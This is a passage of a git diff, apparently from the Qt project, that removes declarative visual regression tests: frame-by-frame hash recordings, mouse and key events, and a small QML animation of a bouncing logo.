"c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 4000 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 4016 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 4032 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 4048 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 4064 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 4080 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 4096 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 4112 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 4128 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 4144 - hash: "ffd39c1122fe2f7877ef30591b539b40" - } - Frame { - msec: 4160 - hash: "62a7133012348f2ec3a388fb685ecc3f" - } - Frame { - msec: 4176 - hash: "45281a70021f81dbef30334b1480da1b" - } - Frame { - msec: 4192 - hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" - } - Frame { - msec: 4208 - hash: "79ec710576427df73dd03f39fba6e2eb" - } - Frame { - msec: 4224 - hash: "5be4f5c67941efb6fcea363c79f1e321" - } - Frame { - msec: 4240 - hash: "7d9096b1eb940c82a37baf39ef3ccf3e" - } - Frame { - msec: 4256 - hash: "e87b00bfc2c2a75a4234ec02a057ad3a" - } - Frame { - msec: 4272 - hash: "da60100dc55023c3bab367d97c8f6a85" - } - Frame { - msec: 4288 - hash: "dc98a9bdd99367c1e9b838d4be489dcc" - } - Frame { - msec: 4304 - hash: "b2c778a5eff5f01edc54f03d8b4de8c7" - } - Frame { - msec: 4320 - hash: "9650fd0364c01b11e4f5dcce51d008af" - } - Frame { - msec: 4336 - hash: "2cb09d9655ecc30ae6a591b28c0d355c" - } - Frame { - msec: 4352 - hash: "4db9bc6c11caf1d77794c2eabb62a44e" - } - Frame { - msec: 4368 - hash: "ce2b5dd7418868acf86fea6ad19cc0c5" - } - Frame { - msec: 4384 - hash: "c4f844ee71f23635bb3ec7375f6a134f" - } - Frame { - msec: 4400 - hash: "4e1fda8a0495ef968c1cffb1257426d7" - } - Frame { - msec: 4416 - hash: "19d2ae617a49b57dd012677e2834469c" - } - Frame { - msec: 4432 - hash: "f438e8d2c16b5de677924c8411219b19" - } - Frame { - msec: 4448 - hash: "005acbef952a8ee536e6308a48223e65" - } - Frame { - msec: 4464 - hash: "87b71778d52cd8563d171151d4d32407" - } - Frame { - msec: 4480 - hash: "691cd8bf5c7802ff6c5024827a379fc6" - } - Frame { - msec: 4496 - hash: "ab442c0173c3d221b6782d28001dac77" - } - Frame { - msec: 4512 - hash: "6f886d4538704c2fad4d84c68214109f" - } - Frame { - msec: 4528 - hash: "56d39f233fae41c60499d6161f891cbc" - } - Frame { - msec: 4544 - hash: "95d987c3fd1352fb81c42c63634fe53b" - } - Frame { - msec: 4560 - hash: "96dc84c0c548021910e7c5b580179054" - } - Frame { - msec: 4576 - hash: "ddb71cbd57f6e43744d533d4f72b08db" - } - Frame { - msec: 4592 - hash: "f7ab4b197bea455b22f259913438d207" - } - Frame { - msec: 4608 - hash: "2ad64cb01c9d50e0118d5ece0a644df2" - } - Frame { - msec: 4624 - hash: "6579681c59dd571df0ee4429d74fb5c7" - } - Frame { - msec: 4640 - hash: "630d90eef2673a69e8ebc4ef1ba40e81" - } - Frame { - msec: 4656 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 4672 - hash: "721d7061811b5439c2e8e395917494bc" - } - Frame { - msec: 4688 - hash: "bc426fb7c31751665b0d3f16e2cb0173" - } - Frame { - msec: 4704 - hash: "e11455d4e23a5a865e222a7aba4ba4f9" - } - Frame { - msec: 4720 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 4736 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 4752 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 4768 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 4784 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 4800 - image: "pauseAnimation.4.png" - } - Frame { - msec: 4816 - hash: "f0d8132489c2f2ef760e905b3c093726" - } - Frame { - msec: 4832 - hash: "e11455d4e23a5a865e222a7aba4ba4f9" - } - Frame { - msec: 4848 - hash: "dd60cbaff6f34027474e92315dbc0ebc" - } - Frame { - msec: 4864 - hash: "8757668e56be6449ec375f0b8fed1be3" - } - Frame { - msec: 4880 - hash: "bc426fb7c31751665b0d3f16e2cb0173" - } - Frame { - msec: 4896 - hash: "b3f4a2165ec1ee971542b8ef89656cea" - } - Frame { - msec: 4912 - hash: "53ae93140252373eaa4d9da73756bd8e" - } - Frame { - msec: 4928 - hash: "721d7061811b5439c2e8e395917494bc" - } - Frame { - msec: 4944 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 4960 - hash: "a8b624ebfc9ab713d1ce55f318a6e90d" - } - Frame { - msec: 4976 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 4992 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 5008 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 5024 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 5040 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 5056 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5072 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5088 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5104 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5120 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5136 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5152 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5168 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 5184 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 5200 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 5216 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 5232 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 5248 - hash: "a8b624ebfc9ab713d1ce55f318a6e90d" - } - Frame { - msec: 5264 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 5280 - hash: "721d7061811b5439c2e8e395917494bc" - } - Frame { - msec: 5296 - hash: "53ae93140252373eaa4d9da73756bd8e" - } - Frame { - msec: 5312 - hash: "b3f4a2165ec1ee971542b8ef89656cea" - } - Frame { - msec: 5328 - hash: "0c20d12464abbdc45041ea5d9f2719b1" - } - Frame { - msec: 5344 - hash: "8757668e56be6449ec375f0b8fed1be3" - } - Frame { - msec: 5360 - hash: "ef8941674cb61f54853dc33652bb854e" - } - Frame { - msec: 5376 - hash: "e11455d4e23a5a865e222a7aba4ba4f9" - } - Frame { - msec: 5392 - hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" - } - Frame { - msec: 5408 - hash: "e74fe4a6bd92cbe8629c8bc8a870104d" - } - Frame { - msec: 5424 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5440 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 5456 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 5472 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 5488 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5504 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 5520 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 5536 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 5552 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 5568 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 5584 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 5600 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5616 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5632 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5648 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5664 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5680 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5696 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5712 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5728 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 5744 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 5760 - image: "pauseAnimation.5.png" - } - Frame { - msec: 5776 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 5792 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 5808 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 5824 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5840 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 5856 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5872 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5888 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5904 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5920 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 5936 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 5952 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5968 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5984 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 6000 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 6016 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6032 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6048 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6064 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6080 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6096 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6112 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6128 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6144 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6160 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6176 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6192 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6208 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6224 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6240 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6256 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6272 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6288 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6304 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6320 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6336 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6352 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6368 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 6384 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6400 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6416 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } -} diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml deleted file mode 100644 index 8830170..0000000 --- a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml +++ /dev/null @@ -1,36 +0,0 @@ -import Qt 4.6 - -/* -This test shows a bouncing logo. -When the test starts the logo should be resting at the bottom. It should immediately move -to the top, and then fall down to bounce at the bottom. There should be a pause, and then -one repeat of the sequence. -*/ - -Rectangle { - id: rect - width: 120 - height: 200 - color: "white" - Image { - id: img - source: "pics/qtlogo.png" - x: 60-width/2 - y: 100 - SequentialAnimation on y { - loops: Animation.Infinite - NumberAnimation { - to: 0; duration: 500 - easing.type: "InOutQuad" - } - NumberAnimation { - to: 100 - easing.type: "OutBounce" - duration: 2000 - } - PauseAnimation { - duration: 1000 - } - } - } -} diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/pics/qtlogo.png b/tests/auto/declarative/visual/animation/pauseAnimation/pics/qtlogo.png deleted file mode 100644 index 399bd0b..0000000 Binary files a/tests/auto/declarative/visual/animation/pauseAnimation/pics/qtlogo.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.0.png b/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.0.png deleted file mode 100644 index 64d6b06..0000000 Binary files a/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.1.png b/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.1.png deleted file mode 100644 index f7fce15..0000000 Binary files a/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.2.png b/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.2.png deleted file mode 100644 index 3080df5..0000000 Binary files a/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.qml b/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.qml deleted file mode 100644 index 7c8c233..0000000 --- a/tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.qml +++ /dev/null @@ -1,939 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 32 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 48 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 64 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 80 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 96 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 112 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 128 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 144 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 160 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 176 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 192 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 208 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 224 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 240 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 256 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 272 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 288 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 304 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 320 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 336 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 352 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 368 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 384 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 400 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 416 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 432 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 448 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 464 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 480 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 496 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 512 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 528 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 544 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 560 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 576 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 592 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 608 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 624 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 640 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 656 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 672 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 688 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 704 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 720 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 736 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 752 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 768 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 784 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 800 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 816 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 832 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 848 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 864 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 880 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 896 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 912 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 928 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 944 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 960 - image: "propertyAction.0.png" - } - Frame { - msec: 976 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 992 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1008 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1024 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1040 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1056 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1072 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1088 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1104 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1120 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1136 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1152 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1168 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1184 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1200 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1216 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1232 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1248 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1264 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1280 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1296 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1312 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1328 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1344 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1360 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1376 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1392 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1408 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1424 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1440 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1456 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1472 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1488 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1504 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1520 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1536 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1552 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1568 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1584 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1600 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 109; y: 247 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1616 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1632 - hash: "c91921dba899d7a86de3cd013773889f" - } - Frame { - msec: 1648 - hash: "888c0fc86155e10b5fc577ef6ec5755a" - } - Frame { - msec: 1664 - hash: "7fd61a8910bf7b0d2bf57653a268c5d8" - } - Frame { - msec: 1680 - hash: "f42f5073f90a423adf011d0e168c8a9b" - } - Frame { - msec: 1696 - hash: "a3d89deb6cfa2bbbaa1d7d5b5e5b48d5" - } - Frame { - msec: 1712 - hash: "f10e997d7a17c18251a32d58b018105a" - } - Frame { - msec: 1728 - hash: "09ffb57d5f67edfa34d6aad36a002554" - } - Frame { - msec: 1744 - hash: "01f3a2f5b9815f1397a907b099339360" - } - Frame { - msec: 1760 - hash: "58c0910c49748edd2ef8472960179472" - } - Frame { - msec: 1776 - hash: "cc82c5f7f93c5bc1af1c6c509268566a" - } - Frame { - msec: 1792 - hash: "3ef272c6439b85fbc166375d1b98403c" - } - Frame { - msec: 1808 - hash: "98c576f0900e4b8752d1f951bb6bf391" - } - Frame { - msec: 1824 - hash: "4d66dd64d8736ef50163e08723873478" - } - Frame { - msec: 1840 - hash: "9a5d8455b6763456185625811253e0b1" - } - Frame { - msec: 1856 - hash: "77e85731efa786a2492aae19a87523c6" - } - Frame { - msec: 1872 - hash: "f3199d0c860f1236e0b9472bef8785bc" - } - Frame { - msec: 1888 - hash: "f3199d0c860f1236e0b9472bef8785bc" - } - Frame { - msec: 1904 - hash: "32ccdab249268b01d9f1658a736052f1" - } - Frame { - msec: 1920 - image: "propertyAction.1.png" - } - Frame { - msec: 1936 - hash: "db3010ef552146df938c237f6c92bff5" - } - Frame { - msec: 1952 - hash: "101e8595d0301e88376ec52ba9361f84" - } - Frame { - msec: 1968 - hash: "119d548c59baa7e47266d2ceca663288" - } - Frame { - msec: 1984 - hash: "f141fafe102a0b9a2bf33e8c3fc800ff" - } - Frame { - msec: 2000 - hash: "b01f9ca8d4fbff17b3d48c70898a044d" - } - Frame { - msec: 2016 - hash: "cf67954a2d1b22e8d2cfdc26419bafb8" - } - Frame { - msec: 2032 - hash: "7680b2b5a63dea13d733947297e01355" - } - Frame { - msec: 2048 - hash: "af1c017acf6b3c8cff86c9ceb60db3cb" - } - Frame { - msec: 2064 - hash: "0b23ec51f71fddae5e2238ab5754f1db" - } - Frame { - msec: 2080 - hash: "976643961ecbdc86335180ba812b874e" - } - Frame { - msec: 2096 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2112 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2128 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2144 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2160 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2176 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2192 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2208 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2224 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2240 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2256 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2272 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2288 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2304 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2320 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2336 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2352 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2368 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2384 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2400 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2416 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2432 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2448 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2464 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2480 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2496 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2512 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2528 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2544 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2560 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2576 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2592 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2608 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2624 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2640 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2656 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2672 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2688 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2704 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2720 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2736 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2752 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 109; y: 247 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2768 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2784 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2800 - hash: "ab924ae435262e76381c2e4af5d64342" - } - Frame { - msec: 2816 - hash: 